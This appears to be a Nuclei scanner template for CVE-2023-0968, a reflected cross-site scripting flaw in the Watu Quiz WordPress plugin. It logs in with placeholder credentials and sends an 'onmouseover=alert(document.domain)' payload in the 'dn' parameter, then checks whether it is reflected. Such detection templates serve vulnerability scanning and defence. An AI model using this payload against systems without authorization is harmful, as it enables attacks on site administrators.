nuclei-templates/cves/2023/CVE-2023-0968.yaml

42 lines
1.4 KiB
YAML
Raw Normal View History

2023-03-31 11:28:24 +00:00
id: CVE-2023-0968
info:
name: Watu Quiz < 3.3.9.1 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
The plugin does not sanitise and escape some parameters ((such as email, dn, date and points) before outputting then back in a page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
remediation: Fixed in version 3.3.9.1
reference:
- https://wpscan.com/vulnerability/29008d1a-62b3-4f40-b5a3-134455b01595
- https://wordpress.org/plugins/watu/
- https://nvd.nist.gov/vuln/detail/CVE-2023-0968
classification:
cve-id: CVE-2023-0968
metadata:
verified: "true"
tags: cve,cve2023,wp,wp-plugin,wordpress,xss,watu,authenticated
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=watu_takings&exam_id=1&dn="%2Fonmouseover%3Dalert(document.domain)%2F%2F HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(all_headers_2, "text/html")'
- 'contains(body_2, "/onmouseover=alert(document.domain)//")'
- 'contains(body_2, "Watu Quizzes")'
condition: and